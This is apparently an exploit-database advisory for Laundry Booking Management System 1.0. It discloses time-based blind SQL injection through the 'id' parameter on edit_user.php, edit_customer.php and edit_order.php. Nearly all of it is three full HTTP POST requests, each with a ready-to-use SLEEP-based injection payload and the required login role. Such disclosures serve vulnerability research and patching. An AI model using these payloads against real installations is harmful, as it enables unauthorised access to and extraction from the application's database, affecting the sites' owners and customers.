Laundry Booking Management System 1.0 – ‘Multiple’ SQL Injection
# Exploit Title: Laundry Booking Management System 1.0 - 'Multiple' SQL Injection # Date: 2021-08-19 # Exploit Author: Azumah Foresight Xorlali # Vendor Homepage: https://www.sourcecodester.com/php/14400/laundry-booking-management-system-php-source-code.html # Software Link: https://www.sourcecodester.com/download-code?nid=14400&title=Laundry+Booking+Management+System+in+PHP+with+Free+Source+Code # Version: Version 1.0 # Category: Web Application # Tested on: Kali Linux Description: Laundry Booking Management System 1.0 application is vulnerable to SQL injection via the "id" parameter, which was not properly checked on the [edit_user.php,edit_customer.php,edit_order.php] page. #Vulnerable Request when logged in as a user with Supervisor or Manager: POST /laundry_sourcecode/laundry_sourcecode/edit_user.php?id=7 HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://localhost/laundry_sourcecode/laundry_sourcecode/edit_user.php?id=7 Content-Type: multipart/form-data; boundary=---------------------------851226474159708868105526498 Content-Length: 1408 Connection: close Cookie: PHPSESSID=dih37knpkeb9hc1qtk56godb5r Upgrade-Insecure-Requests: 1 --- Parameter: id (GET) Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: id=7' AND (SELECT 5999 FROM (SELECT(SLEEP(5)))BOpa) AND 'voSh'='voSh --- ----------------------------------------------------------------------------------------------------------------------- #Vulnerable Request when logged in as Admin: POST /laundry_sourcecode/laundry_sourcecode/edit_customer.php?id=1 HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://localhost/laundry_sourcecode/laundry_sourcecode/edit_customer.php?id=1 Content-Type: multipart/form-data; boundary=---------------------------17781030011592905058578147050 Content-Length: 767 Connection: close Cookie: PHPSESSID=dih37knpkeb9hc1qtk56godb5r Upgrade-Insecure-Requests: 1 --- Parameter: id (GET) Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: id=1' AND (SELECT 6874 FROM (SELECT(SLEEP(5)))ZCjC) AND 'GIau'='GIau --- ----------------------------------------------------------------------------------------------------------------------- #Vulnerable Request when logged in a Admin: POST /laundry_sourcecode/laundry_sourcecode/edit_order.php?id=18 HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://localhost/laundry_sourcecode/laundry_sourcecode/edit_order.php?id=18 Content-Type: multipart/form-data; boundary=---------------------------167059892515401580571429373524 Content-Length: 886 Connection: close Cookie: PHPSESSID=dih37knpkeb9hc1qtk56godb5r Upgrade-Insecure-Requests: 1 --- Parameter: id (GET) Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: id=18' AND (SELECT 8201 FROM (SELECT(SLEEP(5)))odDG) AND 'wCli'='wCli --- |